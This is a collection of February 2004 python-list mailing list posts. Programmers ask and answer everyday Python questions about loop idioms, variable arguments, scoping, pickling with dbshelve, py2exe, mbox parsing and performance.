> should be told that 'while 1' construct is a good, simple, pythonic

That syntax is saying, "This is an infinite loop"... "well, wait a 
minute"... "there's some stuff down lower: the 'if ... break', which is 
the actual loop test"...

The loop condition is pathological. This idiom turns the instinctive 
meaning/use of 'while' on its head, and uses 'break' in the reverse of 
its usual role. It works, but its a programmer hack, an expedient 
measure, which is more the domain of perl than python.

Some people don't like my suggestion of 'until' because they assume it 
must mean 'while not'. But I don't think that's necessarily so. After 
all, the literal, spoken word meaning of "while X", could imply that 
the loop exits at any point where X becomes false. (As if there were an 
"if not X: break" after every line in the loop.) But as programmers, 
we've restricted it to mean that a test is done once at the top of the 
loop each time through.

Similarly, 'until' can have a narrower meaning.

By contrast, the "while True" construct is a kludge that works, not 
much different from creating loops with "if ... goto" because you don't 
have a "while".
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From tkpmep at hotmail.com  Fri Feb 13 19:33:14 2004
From: tkpmep at hotmail.com (Thomas Philips)
Date: 13 Feb 2004 16:33:14 -0800
Subject: Maintaining a list
Message-ID: <b4a8ffb6.0402131633.1cb220d6@posting.google.com>

I'm teaching myself programming using Python and want to build a list
inside a function (rather like using a static variable in a Fortran
subroutime - the list must not disappear as soon as the subroutine is
exited). What's the simplest way to do this?

I'd like to write something of the form
def myroutine(x)
    mylist = mylist.append(x)
    print mylist
    .
    .
    return 

I'd like to call myroutine over and over again from a main program,
and want it to display the following behavior

1. The first time myroutine is called
myroutine("Item 1")
["Item 1"]

2. The second time myroutine is called
myroutine("Item 2")
["Item 1", "Item 2"]

3. The third time myroutine is called
myroutine("Item 3")
["Item 1", "Item 2", "Item 3"]

etc. etc.

The list must be initialized to an empty list before the first call,
and must be preserved between calls. I have not got to object oriented
programming as yet, so please keep the solution simple.

Sincerely

Thomas Philips


From myles at geocities.com  Thu Feb 26 17:21:37 2004
From: myles at geocities.com (Myles)
Date: 26 Feb 2004 14:21:37 -0800
Subject: Asterisk sign in python
References: <mailman.159.1077796055.8594.python-list@python.org>
Message-ID: <a4638b9b.0402261421.5de65c23@posting.google.com>

Hi Sarmin,

> and then u have something like this:
> func(*param)
[...]
> I just cant figure out what is the asterisk (*) sign for and what is 
> the different between *param and param??

The asterisk is used for multiple parameters, which are passed to
the function as a tuple.

If your function might be called with a varying number of arguments:

myfunc(10)
or
myfunc(10, 20, 30)
or
myfunc(10, "ten", 20, "twenty")

you could write it as:

def myfunc(*param):
    print param

and you would get
>>> myfunc(10)
(10,)
>>> myfunc(10, 20, 30)
(10, 20, 30)
>>> myfunc(10, "ten", 20, "twenty")
(10, 'ten', 20, 'twenty')

If you had defined your function without the 
asterisk, you could only use a single parameter:

def myfunc(param):
    print param

>>> myfunc(10)
10
>>> myfunc(10, 20, 30)

Traceback (most recent call last):
  File "<pyshell#27>", line 1, in -toplevel-
    myfunc(10, 20, 30)
TypeError: myfunc() takes exactly 1 argument (3 given)

You can have non-optional parameters before the asterisk parameter:

def myfunc(required, necessary, *optional):
    print "required", required
    print "necessary", necessary
    print "optional", optional

>>> myfunc(10, 20, 30, 40)
required 10
necessary 20
optional (30, 40)
>>> myfunc(10)

Traceback (most recent call last):
  File "<pyshell#35>", line 1, in -toplevel-
    myfunc(10)
TypeError: myfunc() takes at least 2 arguments (1 given)


Regards, Myles.


From peter at engcorp.com  Mon Feb 23 16:28:36 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 23 Feb 2004 16:28:36 -0500
Subject: Gripe: Use Ctrl-D (i.e. EOF) to exit
References: <mailman.0.1077567184.8594.python-list@python.org>
Message-ID: <403A7084.D281F858@engcorp.com>

Mike Maxwell wrote:
> 
> <vent> I see there has been traffic over the years on this gripe, so just
> let me vent my frustration, and add another reason why 'exit' (or possibly
> exit() or quit() or halt() or some such) should exit Python, rather than
> giving the ridiculous msg
> 
>     Use Ctrl-D (i.e. EOF) to exit.
> 
> The additional reason is that God intended Ctrl-D to be "scroll down", as in
> vi.  

Interesting... so God didn't write the ASCII standard, obviously:

ctrl-D 4   EOT   END OF TRANSMISSION 
A transmission control character used to indicate the conclusion of the transmission of one or more texts.. 

(From http://www.cs.tut.fi/~jkorpela/chars/c0.html, for example.)


Why anyone would think that ought to be translated as "down" rather than
"I'm done, bye" is unclear to me.

-Peter


From http  Wed Feb 18 03:35:17 2004
From: http (Paul Rubin)
Date: 18 Feb 2004 00:35:17 -0800
Subject: ANTI SPAMBOT HUMAN VALIDATION: generare gif da una stringa
	casuale ??
References: <2ca51434.0402171108.1cdbecb6@posting.google.com>
Message-ID: <7x7jykkcoq.fsf@ruckus.brouhaha.com>

ml71 at katamail.com (DrPike) writes:
> Il problema: devo gestire la registrazione di diverse migliaia
> di utenti attraverso una form web generata in python. Vorrei 
> poter evitare lo 'spambot' inviando all'utente che accede al
> servizio una piccola immagine contenente una stringa alfanumerica
> casuale, intelligentemente 'distorta' (es. con un disturbo sul
> background, una grid o un qualunque altro filtering) in modo da
> assicurarmi che colui che siede dall'altra parte sia una persona
> fisica e non un programma cretino di spam.

www.captcha.net


From richie at entrian.com  Wed Feb 25 11:01:36 2004
From: richie at entrian.com (Richie Hindle)
Date: Wed, 25 Feb 2004 16:01:36 +0000
Subject: No Thoughts about Everything
In-Reply-To: <403CC4FB.7040204@compuserve.de>
References: <403CC4FB.7040204@compuserve.de>
Message-ID: <lvgp3099oe0iurvnhcb69qijjelputdqjk@4ax.com>


[Bernhard]
> [snip 73-line question on how to do "static final" in Python]

The answer:

c = 2.99792458e8

Seriously, you are trying far too hard.  Python is not a
bondage-and-discipline language.  If you want something to stay constant,
just don't change it.

I could be wrong, but I believe the only reason the question occurs to you
is that you're coming from Java, which makes a point of supporting such
ideas.  In real-world programming you just don't need that kind of thing -
if you don't trust the code to work forever then you write unit tests, and
they will test all aspects of your code, not just the careless mutation of
the speed of light.

And the same goes for *teaching* idiomatic Python - if you simply define
'c' at the top of your module, how many students would ask "but what if I
later change the value of 'c'?"  The question would only occur to people
converting from B&D languages.

-- 
Richie Hindle
richie at entrian.com




From vincent at visualtrans.de  Mon Feb 23 05:16:47 2004
From: vincent at visualtrans.de (vincent wehren)
Date: Mon, 23 Feb 2004 11:16:47 +0100
Subject: MySQLDB - generating "...not in (1,2,3)" from Python list ?
References: <282f826a.0402230152.253315ca@posting.google.com>
Message-ID: <c1cju2$mkh$1@news3.tilbu1.nb.home.nl>


"Richard Shea" <richardshea at fastmail.fm> schrieb im Newsbeitrag
news:282f826a.0402230152.253315ca at posting.google.com...
> Hi - I've writing a Python script which has a query which looks like
> this ...
>
> select * from T where C1 not in (1,2,3)
>
> ... C1 is a numeric column so elements of (1,2,3) must not be quoted
> like this ('1','2','3') and of course they must not be quoted like
> this ('1,2,3').
>
> I'm using 'scanf' style substitution into the SQL, eg ...
>
> cursor.execute("select * from T where C1 not in (%s)",params).
>
>
> My problem is that the values that need to appear in the bracket are
> held in a Python list. At first I thought this was great - just use
> 'join' with ',' as the second arg but of course join is expecting a
> list of strings and if you str() the contents of the list you end up
> with ('1','2','3').
>
> Then I tried rolling my own string concatenation but then you end up
> with a string or ('1,2,3') which the SQL doesn't like.



>>> sql = "select * from table where C1 not in (%s)"
>>> params = [str(i) for i in (1,2,3)]
>>> sql % ",".join(params)
'select * from table where C1 not in (1,2,3)'

Looks solid to me.

Vincent Wehren







>
> So in summary - would anyone be kind enough to tell me, given that I'm
> using scanf style SQL subbing, how I can substitute in a comma
> delimited list of integers without quotes being put around things to
> upset the SQL ?
>
> thanks
>
> richard shea.




From newsgroups at jhrothjr.com  Thu Feb  5 07:18:55 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Thu, 5 Feb 2004 07:18:55 -0500
Subject: Any problems with *lots* of attributes?
References: <246a4e07.0402040703.2be902a9@posting.google.com>
	<bvrgdn$t76$1@panix1.panix.com>
	<246a4e07.0402042327.5192034a@posting.google.com>
Message-ID: <1024d7q40b86r2a@news.supernews.com>


"Frank Millman" <frank at chagford.com> wrote in message
news:246a4e07.0402042327.5192034a at posting.google.com...
> > Frank Millman <frank at chagford.com> wrote:
> > >
> > >This is a question about the performance trade-off between two methods
> > >of storing data. One method is to create a separate attribute for each
> > >piece of data, and get/set the value according to its name. Another
> > >method is to create a list, and get/set the value according to its
> > >position in the list. In my limited tests, the first method is quicker.
>
> Aahz <aahz at pythoncraft.com> wrote:
> >
> > That doesn't make any sense.  While lists and dicts are both essentially
> > O(1) for access, the constant is larger for dicts.  Please show us your
> > testing code.
> >
> Code shown below, but here is a summary -
>
> print f.getval_from_attr()
> print f.getval_from_list()
> print f.setval_in_attr(1000)
> print f.setval_in_list(1000)
>
> Results, to 2 decimal places, are as follows -
>
> 0.32
> 0.45
> 0.34
> 0.44
>
> > OTOH, there's certainly nothing wrong with using dicts; they are the
> > single most fundamental Python data type after strings.  (All Python
> > name/attribute access is built on top of dicts.)
>
> This is exactly my point, but I may be misunderstanding how it works
> internally. If I have a class with 20 attributes, it will have a
> dictionary with 20 entries. If I have hundreds of instances of the
> class, do I end up with hundreds of dictionaries (or the equivalent
> internal structures), and if so, does this not lead to memory bloat?
> If I store the data in a list, there will only be one dictionary entry
> per instance. On the other hand, I suppose there must be some
> reference to each of the elements of each list, so maybe there is an
> equivalent overhead. Is this a valid concern, or am I worrying about
> nothing?

I believe the memory overhead for dictionaries is 4 times that for
lists on a per item basis, however both data structures allocate
extra space so that they don't have to reallocate too frequently
(a very expensive operation.)

>
> Thanks for your input. Test program is shown below.
>
> Frank




From bignose-hates-spam at and-benfinney-does-too.id.au  Tue Feb 24 19:27:03 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 25 Feb 2004 11:17:03 +1050
Subject: How to suspend a script?
References: <403becad@clarion.carno.net.au>
Message-ID: <slrnc3ns46.tlq.bignose-hates-spam@iris.polar.local>

On Wed, 25 Feb 2004 11:29:07 +1100, Steve wrote:
> How can I send a python script a suspend signal?

You can send any signal to a process with the (poorly-named) 'kill'
command.  You'll need to do so as a user with permission to control that
process.  See the 'kill(1)' manpage for more.

-- 
 \      "Say what you will about the Ten Commandments, you must always |
  `\         come back to the pleasant fact that there are only ten of |
_o__)                                      them."  -- Henry L. Mencken |
Ben Finney <http://bignose.squidly.org/>


From greg.invalid at capra.us.invalid  Fri Feb 27 19:48:55 2004
From: greg.invalid at capra.us.invalid (Greg Krohn)
Date: Sat, 28 Feb 2004 00:48:55 GMT
Subject: wxPython tutorial?
In-Reply-To: <conu309oacn903e0fl8e07rbb139ibfefg@4ax.com>
References: <36965e8.0402262255.122d167f@posting.google.com>
	<YdE%b.22928$W74.17716@newsread1.news.atl.earthlink.net>
	<conu309oacn903e0fl8e07rbb139ibfefg@4ax.com>
Message-ID: <XzR%b.23927$W74.22945@newsread1.news.atl.earthlink.net>

Tjarko de Jong wrote:
> On Fri, 27 Feb 2004 09:38:00 GMT, Greg Krohn
> <greg.invalid at capra.us.invalid> wrote:
>>
>>Weird. I've never seen imports like that with wxPython before.
> 
> 
> It keeps the namespace clear. see:
> http://cvs.osafoundation.org/index.cgi/osaf/chandler/wxpython/wxPython/docs/wxPackage.html?rev=HEAD
> 

Oh, thanks. I'm a little suprised I haven't heard of this before. I must 
be living under a rock. It's nice, though. I like it.

/me runs off to fix my code.

greg


From jzgoda at gazeta.usun.pl  Thu Feb  5 13:51:41 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Thu, 5 Feb 2004 18:51:41 +0000 (UTC)
Subject: convert utf-8 to latin-1?
References: <bvtuur$hg$1@news.rz.uni-karlsruhe.de>
Message-ID: <bvu3bs$6hs$2@atlantis.news.tpi.pl>

Uwe Mayer <merkosh at hadiko.de> pisze:

> in a PyQt application I'm writing, the user can select a filename with a
> FileDialog. Then I would like to open this file. This works fine if there
> are no "special symbols" in the filename, such as the german umlauts: "???"
> 
> Currently I convert the returned, of what I'm pretty sure its a utf-8 string
> object, to a normal string using the str() function. But then my string
> contains garbage and I cannot find that file on my ext3 fs (which uses
> latin-1).
> 
> So my first question is wether you *can* convert it without loosing
> something and secondly: how?

I use unicode() to convert QString returned by Qt widgets to unicode
object, then encode it in latin2. Qt uses its own string class, not
ordinary strings.

-- 
Jarek Zgoda
Unregistered Linux User #-1
http://www.zgoda.biz/ JID:zgoda-a-chrome.pl http://zgoda.jogger.pl/


From csgcsg39 at hotmail.com  Mon Feb  2 09:27:36 2004
From: csgcsg39 at hotmail.com (CSG)
Date: 2 Feb 2004 06:27:36 -0800
Subject: Simple list question
References: <bvdub7$ksc$1@ucsnew1.ncl.ac.uk>
	<bve0sq$al6$05$1@news.t-online.com>
Message-ID: <592ab9dd.0402020627.259b7e99@posting.google.com>

Thanks for all the suggestions. Very helpful

Colin


From grey at despair.dmiyu.org  Wed Feb 25 21:41:15 2004
From: grey at despair.dmiyu.org (Steve Lamb)
Date: Thu, 26 Feb 2004 02:41:15 GMT
Subject: os.walk walks too much
References: <mailman.96.1077712778.8594.python-list@python.org>
	<c1i8a1$gnj$01$1@news.t-online.com>
	<mailman.131.1077737502.8594.python-list@python.org>
	<c1j2pp$9r0$06$1@news.t-online.com>
Message-ID: <slrnc3qn6c.156.grey@dmiyu.org>

On 2004-02-25, Peter Otten <__peter__ at web.de> wrote:
> dirs[:] makes a slice containing all elements, i. e. a shallow copy of the
> complete list, so the loop is not affected by changes to the original:

>>>> dirs = ["alpha", "beta", "gamma"]
>>>> dirs == dirs[:] # equal
> True
>>>> dirs is dirs[:] # but not the same list
> False

    Better way to make it crystal clear.

{grey at teleute:~} python
Python 2.3.3 (#2, Jan 13 2004, 00:47:05)
[GCC 3.3.3 20040110 (prerelease) (Debian)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> real = [1, 2, 3]
>>> copy = real[:]
>>> real
[1, 2, 3]
>>> copy
[1, 2, 3]
>>> for x in real:
...     print(x)
...     real.remove(x)
...
1
3
>>> real
[2]
>>> real = [1, 2, 3]
>>> for x in real[:]: # IE, same as using copy
...     print(x)
...     real.remove(x)
...
1
2
3
>>> real
[]

    To the original poster, the reason changing the list you're iterating over
is because the index doesn't move along with the data in it.  So in the first
loop 1 and 3 are printed, 2 is left.  Why?  Assign indexes do the data.  This
is most likely not how Python does it internally but this is good to show what
happened.

[1, 2, 3]
 0  1  2

    First run through x is one but it got it from the first index, 0.  So x is
1.  Then you remove 1 from the data set so now it looks like this.

[2, 3]
 0  1

    So now Python moves on in the loop, it grabs the next index which is 1.
However, since you've changed the list that index now points to 3, not 2.  It
grabs 3, prints it then removes it.  So now we're left with:

[2]
 0

    Since it's already done 0 the loop ends.  By using a copy you're using the
copy to preserve the indexing to the data while you manipulate the data.  Hope
this clears it up.  :)


-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
       PGP Key: 8B6E99C5       | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From nomail  Mon Feb  2 02:00:59 2004
From: nomail (BG)
Date: Mon, 2 Feb 2004 08:00:59 +0100
Subject: bsddb.dbshelve problem unpickling objects from another directory
References: <401d7d15$0$3257$58c7af7e@news.kabelfoon.nl>
	<bvk2t3$q5h$1@news.service.uci.edu>
Message-ID: <401df5c2$0$3244$58c7af7e@news.kabelfoon.nl>

Josiah,

Thank you for your quick answer. But, this very much limits the way
persistent objects can be used. Objects can apparently only be used in the
context they were created. There is a logic to this, but it is also strange
to me. Is there a way that upickled objects can also be used outside there
original context?

Berry.

"Josiah Carlson" <jcarlson at nospam.uci.edu> schreef in bericht
news:bvk2t3$q5h$1 at news.service.uci.edu...
> BG wrote:
>
> > I am experimenting with dbshelve in Python 2.3.3 on Win2k. The problem
is
> > that objects put into the dbshelve by a script in one directory cannot
be
> > unpickled by script running in another directory. Why?
> >
> > I am writing my own collection called testcollection to hold testitems.
The
> > testcollection uses dbshelve to store its items to disk. I want design a
> > package called testmodules.
> [snip]
>
> Pickled objects reference the module and the class from which they were
> created from.
> When running testmodules/test.py, testitem lives in in the module
testitem.
> When running test.py, testitem lives in the module testmodules.testitem.
>
>
>   - Josiah




From sross at connectmail.carleton.ca  Sat Feb 21 13:20:06 2004
From: sross at connectmail.carleton.ca (Sean Ross)
Date: Sat, 21 Feb 2004 13:20:06 -0500
Subject: class vs function ???
References: <1c764367.0402210857.579f59ab@posting.google.com>
Message-ID: <ajNZb.11621$w65.896752@news20.bellglobal.com>

"Gaurav Veda" <gveda at iitk.ac.in> wrote in message
news:1c764367.0402210857.579f59ab at posting.google.com...
[snip]
> a = 1
> print a
> def fun1():
>     global b
>     b = "inside fun1"
>     print b
> fun1()
> def c1():
>     print a
>     print b
>     c = 12
>     def fun2():
>         global d
>         d = "We are dead !!!"
>         print d
>     fun2()
> c1()
> class c2:
>     pass
> print d
> print c
[snip]
> Traceback (most recent call last):
>   File "XYZ.py", line 21, in ?
>     print c
> NameError: name 'c' is not defined
>
> Waiting for some 'logical' explanation !!!

The error message _is_ the logical explanation:

The name 'c' has not been defined in the scope where
'print c' is called.

You have a variable 'c' earlier in the code, yes, but that
c is a local variable of function c1(), i.e., the name 'c' _is_
defined in the scope of that function (but _only_ in that
scope). It is _not_ defined at the program scope, which
is where you've tried to use it.

I'll avoid going over Python's scoping rules here, they can
be found elsewhere. Good luck,

Sean




From aahz at pythoncraft.com  Sat Feb 14 10:28:48 2004
From: aahz at pythoncraft.com (Aahz)
Date: 14 Feb 2004 10:28:48 -0500
Subject: Namespace issues...
References: <d1253dfc.0402140259.3b614b95@posting.google.com>
Message-ID: <c0lerg$3gt$1@panix2.panix.com>

In article <d1253dfc.0402140259.3b614b95 at posting.google.com>,
cghost <phreacker at aol.com> wrote:
>
>i am very confused...why does the following script modify the global list "l":
>
>l=[]
>def x():
>   l.append("xyz")
>x()
>print l
>
>but the same script applied to a single variable doesnt..:
>
>l="moe"
>def x():
>   l+="howdy"
>x()
>print l

http://starship.python.net/crew/mwh/hacks/objectthink.html
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From stardif10 at hotmail.com  Tue Feb 24 00:30:28 2004
From: stardif10 at hotmail.com (Sam)
Date: Tue, 24 Feb 2004 16:30:28 +1100
Subject: Bartok card game
Message-ID: <403ae161$0$4260$afc38c87@news.optusnet.com.au>

Hey all,

I want to create a computerised version of this game, though I'm not 
really sure how to go about it. For those who don't know how the game 
works, here's my attempt at a brief description:

It is very similar to the card game Uno, though played with a standard 
deck of cards. An initial card is played off the top of the deck, and 
then each player has to play a card of the same suit, or the same face 
value in another suit. Whoever gets rid of all their cards first is the 
winner.

The tricky bit is, the winner of a round gets to make up a new rule. 
Some examples might be "when a club is played, skip the next player", or 
"when a heart is played, the next player draws 2 cards", etc. So, I am 
looking for a way to dynamically add rules to the game, without limiting 
the possibilities too harshly. I could always just give a select few 
rules to choose from, but then the game loses it's fun ;)

I've been thinking about it for a while, but no obvious path to take has 
presented itself to me. If anyone has any suggestions, they would be 
greatly appreciated.

Thanks,
Sam.



From nospam at nowhere.hu  Mon Feb  2 15:56:39 2004
From: nospam at nowhere.hu (Miklós)
Date: Mon, 2 Feb 2004 21:56:39 +0100
Subject: Finding messages in huge mboxes
References: <401eb54c$0$315$e4fe514c@news.xs4all.nl>
Message-ID: <bvmd1s$5b5$1@namru.matavnet.hu>

What about putting it into a database like MySQL? <pyWink>

Mikl?s


"Bastiaan Welmers" <haasje at welmers.net> wrote in message
news:401eb54c$0$315$e4fe514c at news.xs4all.nl...
> Hi,
>
> I wondered if anyone has ever met this same mbox issue.
>
> I'm having the following problem:
>
> I need find messages in huge mbox files (50MB or more).
> The following way is (of course?) not very usable:
>
> fp = open("mbox", "r")
> archive = mailbox.UnixMailbox(fp)
> i=0
> while i < message_number_needed:
>    i+=1
>    archive.next()
>
> needed_message = archive.next()
>
> Especially because I often need messages at the end
> of the MBOX file.
> So I tried the following (scanning messages backwards
> on found "From " lines with readline())
>
> i=0
> j=0
> while 1:
>   i+=1
>   fp.seek(-i, SEEK_TO_END=2)
>   line = fp.readline()
>   if not line:
>      break
>   if line[:5] == 'From ':
>      j+=1
>      if j == total_messages - message_number_needed:
>         archive.seekp = fp.tell()
>         message = archive.next()
>         # message found
>
> But also seems to be slow and CPU consuming.
>
> Anyone who has a better idea?
>
> Regards,
>
> Bastiaan Welmers




From rainerd at eldwood.com  Fri Feb 13 18:04:04 2004
From: rainerd at eldwood.com (Rainer Deyke)
Date: Fri, 13 Feb 2004 23:04:04 GMT
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
	<402A69C2.FC8DABA@engcorp.com>
	<mailman.6.1076585559.698.python-list@python.org>
	<c0jf75$or2$2@atlantis.news.tpi.pl> <402D4FF7.944423B7@engcorp.com>
	<c0jkc4$eds$1@atlantis.news.tpi.pl>
Message-ID: <EJcXb.30763$uV3.53262@attbi_s51>

Jarek Zgoda wrote:
> Peter Hansen <peter at engcorp.com> pisze:
>> Most of humanity doesn't use XML, so that's silly.
>
> Most of humanity doesn't use ASCII.

Most of humanity doesn't use computers.


-- 
Rainer Deyke - rainerd at eldwood.com - http://eldwood.com




From aaron at metrony.com  Thu Feb 19 22:09:27 2004
From: aaron at metrony.com (Aaron)
Date: Fri, 20 Feb 2004 03:09:27 GMT
Subject: py2exe problem - need wsvc6?
In-Reply-To: <fc96c968.0402191803.62f9465a@posting.google.com>
References: <fc96c968.0402191803.62f9465a@posting.google.com>
Message-ID: <40357A6D.2030600@metrony.com>

You do not need a C compiler to make a standalone application.
In version 0.5 the setup.py files changed a bit.

First of all can you run your python script on the commandline?

I have a hello world app as follows:

#pTest.py
print "Hello World"

#setup.py
from distutils.core import setup
import py2exe
setup(name='Test',
       description="a Test",
       version='0.1.0',
       console=['pTest.py'])


#build.bat
e:\Python23\python.exe setup.py py2exe

Try to build this app and see if your py2exe is setup correctly.

-Aaron
http://metrony.com

Tim Axtelle wrote:

> I am new to Python and am trying to create a standalone exe from a
> python script using py2exe 0.5.0 and Python 2.3 without success.  I am
> able to generate the appropriate .exe file but it is not executable. 
> Running it does absolutely nothing.
> 
> The sourceforge site says that wsvc6 is required for py2exe.  Is this
> true?  If so, it is contradiction with the python faq which claims
> that no C compiler is necessary with py2exe.
> 
> I also tried Gordon Mcmillan's installer which I found completely
> incomprehensible despite the prodigous "easy to use" claims.
> 
> Please help this obviously flustered newbie.  Thanks in advance.


From kak at purdue.edu  Tue Feb 17 10:08:18 2004
From: kak at purdue.edu (Avi Kak)
Date: Tue, 17 Feb 2004 15:08:18 GMT
Subject: keyword that stops further processing of a Python script
References: <2c83305ajs1vgqt65oo97t15b82grqjd7u@4ax.com>
	<4f0a9fdb.0402170326.25a0565@posting.google.com>
Message-ID: <boa430df0475mb1ldqdab9q0dmh7lkm8a2@4ax.com>



Hello:

  I would like to thank Peter Otten and Miki Tebeka
  for posting their replies.  I was getting tired of
  having to repeatedly comment out and uncomment my
  long scripts during their development.

  To summarize what Peter and Miki said, the logical
  end of a script can be marked either with sys.exit("debug")
  or with 'raise SystemExit'.  Another option is to
  put triple quotes around the part of the script you 
  don't want to see executed.

  In retrospect, all three suggestions --- especially the
  one about using triple quotes --- should have been
  obvious to me.  But that's the way the human brain works.
  Sometimes what's seemingly the most obvious is not so
  obvious until someone else points out its obviousness.

Avi

On 17 Feb 2004 03:26:28 -0800, miki.tebeka at zoran.com (Miki Tebeka)
wrote:

>Hello Avi,
>
>>   Does Python provide a token like Perl's __END__
>>   that would mark the logical end of a Python script 
>>   which could occur before the actual end of the file. 
>Just place `raise SystemExit' where you want the script to stop.
>Another option of to use triple quotes around the end of the file.
>
>HTH.
>Miki



From No.Spam.mc at No.Spam.mclaveau.No.Spam.com  Wed Feb 11 07:47:09 2004
From: No.Spam.mc at No.Spam.mclaveau.No.Spam.com (Michel Claveau/Hamster)
Date: Wed, 11 Feb 2004 13:47:09 +0100
Subject: warning, signed string, & win32all
Message-ID: <c0d8v3$cn7$1@news-reader4.wanadoo.fr>

Hi !

* sorry for my bad english *


With this script :

    import string, time, win32com.client

    msg = win32com.client.Dispatch('InternetExplorer.Application')
    msg.Navigate("about:blank")
    while msg.Busy==True:
        time.sleep(0.2)
    msg.Visible = 2
    msg.Document.Body.InnerHTML = "AZERTY"
    time.sleep(2)
    msg.quit()


I's run, but for the line :     msg.Document.Body.InnerHTML = "AZERTY"
I have this message:

C:\PYTHON23\lib\site-packages\win32com\client\dynamic.py:517:
FutureWarning:%u/
%o/%x/%X of negative int will return a signed string in Python 2.4 and up
debug_attr_print("__setattr__ property %s (id=0x%x) in Dispatch container
%s"  % (attr, entry.dispid, self._username_))



i dont understand :
    - "signed string",
    - risk with Python_2.4


I hope that M. Hammond is not cardiac, because I think that its superb
assistance still will be essential in the near future.

Thanks !

@-salutations
--
Michel Claveau







From jgrahn-nntq at algonet.se  Sat Feb 14 05:52:06 2004
From: jgrahn-nntq at algonet.se (Jorgen Grahn)
Date: Sat, 14 Feb 2004 10:52:06 +0000 (UTC)
Subject: Win32: Running python programs from a Cygwin shell
Message-ID: <slrnc2rvbm.eoi.jgrahn-nntq@frailea.sa.invalid>

I couldn't think of a good solution, and it's hard to Google for...

I write python command-line programs under Win2k, and I use the bash shell
from Cygwin.  I cannot use Cygwin's python package because of a binary
module which has to be compiled with Visual C 6.

My scripts start with a '#!/usr/bin/env python' shebang, as God intended.

Now, I assume I can make cmd.exe run foo.py by asociating *.py with the
python interpreter.

However, if foo.py is in my path and I try to run it from bash, what happens
is:

- bash runs env /cygdrive/h/bin/foo.py
- env runs something like 'python /cygdrive/h/bin/foo.py'
- ... and python (which doesn't know about Cygwin-style paths)
  croaks on this, of course

Is there a way around this, which doesn't make my script unusable if I moved
it to a Unix box, or ran it from cmd.exe?  

I'd prefer not to write wrapper scripts in perl/bash/BAT...

/Jorgen

-- 
  // Jorgen Grahn <jgrahn@      ''If All Men Were Brothers,
\X/                algonet.se>    Would You Let One Marry Your Sister?''


From exarkun at intarweb.us  Mon Feb  9 16:39:11 2004
From: exarkun at intarweb.us (Jp Calderone)
Date: Mon, 9 Feb 2004 16:39:11 -0500
Subject: Had Phyton suggested
In-Reply-To: <c08rgo$pf9$1@news.freedom2surf.net>
References: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
	<c05k7b$ndl$1@news.freedom2surf.net>
	<ZWuVb.246007$I06.2735974@attbi_s01>
	<c08rgo$pf9$1@news.freedom2surf.net>
Message-ID: <20040209213911.GA26029@intarweb.us>

On Mon, Feb 09, 2004 at 08:45:55PM +0000, Steve Horsley wrote:
> [snip]
> 
> There _is_ a difference in the compilation. With java, you have to 
> compile to bytecode before trying to run the program. With python, you 
> just run the program. This is because the python interpreter accepts 
> text files, whereas the JVM doesn't. e.g.

  The difference is minimal.  CPython merely knows how to invoke its own
compiler when compilation is necessary.  Compilation still occurs, always,
before anything is executed.  You could write a wrapper around java and
javac that, when given a .class file, ran it directly, and when given a
.java file, compiled it, then ran the resulting .class file.  CPython is a
bit smarter than this (existing files, timestamps, etc), but these are minor
differences, not really worthy of note.

  Jp




From frank at chagford.com  Thu Feb  5 02:27:39 2004
From: frank at chagford.com (Frank Millman)
Date: 4 Feb 2004 23:27:39 -0800
Subject: Any problems with *lots* of attributes?
References: <246a4e07.0402040703.2be902a9@posting.google.com>
	<bvrgdn$t76$1@panix1.panix.com>
Message-ID: <246a4e07.0402042327.5192034a@posting.google.com>

> Frank Millman <frank at chagford.com> wrote:
> >
> >This is a question about the performance trade-off between two methods
> >of storing data. One method is to create a separate attribute for each
> >piece of data, and get/set the value according to its name. Another
> >method is to create a list, and get/set the value according to its
> >position in the list. In my limited tests, the first method is quicker.

Aahz <aahz at pythoncraft.com> wrote:
> 
> That doesn't make any sense.  While lists and dicts are both essentially
> O(1) for access, the constant is larger for dicts.  Please show us your
> testing code.
> 
Code shown below, but here is a summary -

print f.getval_from_attr()
print f.getval_from_list()
print f.setval_in_attr(1000)
print f.setval_in_list(1000)

Results, to 2 decimal places, are as follows -

0.32
0.45
0.34
0.44

> OTOH, there's certainly nothing wrong with using dicts; they are the
> single most fundamental Python data type after strings.  (All Python
> name/attribute access is built on top of dicts.)

This is exactly my point, but I may be misunderstanding how it works
internally. If I have a class with 20 attributes, it will have a
dictionary with 20 entries. If I have hundreds of instances of the
class, do I end up with hundreds of dictionaries (or the equivalent
internal structures), and if so, does this not lead to memory bloat?
If I store the data in a list, there will only be one dictionary entry
per instance. On the other hand, I suppose there must be some
reference to each of the elements of each list, so maybe there is an
equivalent overhead. Is this a valid concern, or am I worrying about
nothing?

Thanks for your input. Test program is shown below.

Frank

-------------------------------------

from time import time

class frank:
    def __init__(self,a,b,c,l):
        self.a = a  # an attribute
        self.b = b  # an attribute
        self.c = c  # an attribute
        self.l = l  # a list

    def getval_from_attr(self):
        start = time()
        for i in xrange(1000000):
            aa = self.a
        return (time() - start)

    def getval_from_list(self):
        start = time()
        for i in xrange(1000000):
            aa = self.l[0]
        return (time() - start)

    def setval_in_attr(self,val):
        start = time()
        for i in xrange(1000000):
            self.a = val
        return (time() - start)

    def setval_in_list(self,val):
        start = time()
        for i in xrange(1000000):
            self.l[0] = val
        return (time() - start)

f = frank(100,200,300,[100,200,300])
print f.getval_from_attr()
print f.getval_from_list()
print f.setval_in_attr(1000)
print f.setval_in_list(1000)

-------------------------------------

Results, to 2 decimal places, are as follows -

0.32
0.45
0.34
0.44


From paxcalpt at sapo.pt  Fri Feb 27 02:47:23 2004
From: paxcalpt at sapo.pt (Paxcal)
Date: Fri, 27 Feb 2004 07:47:23 -0000
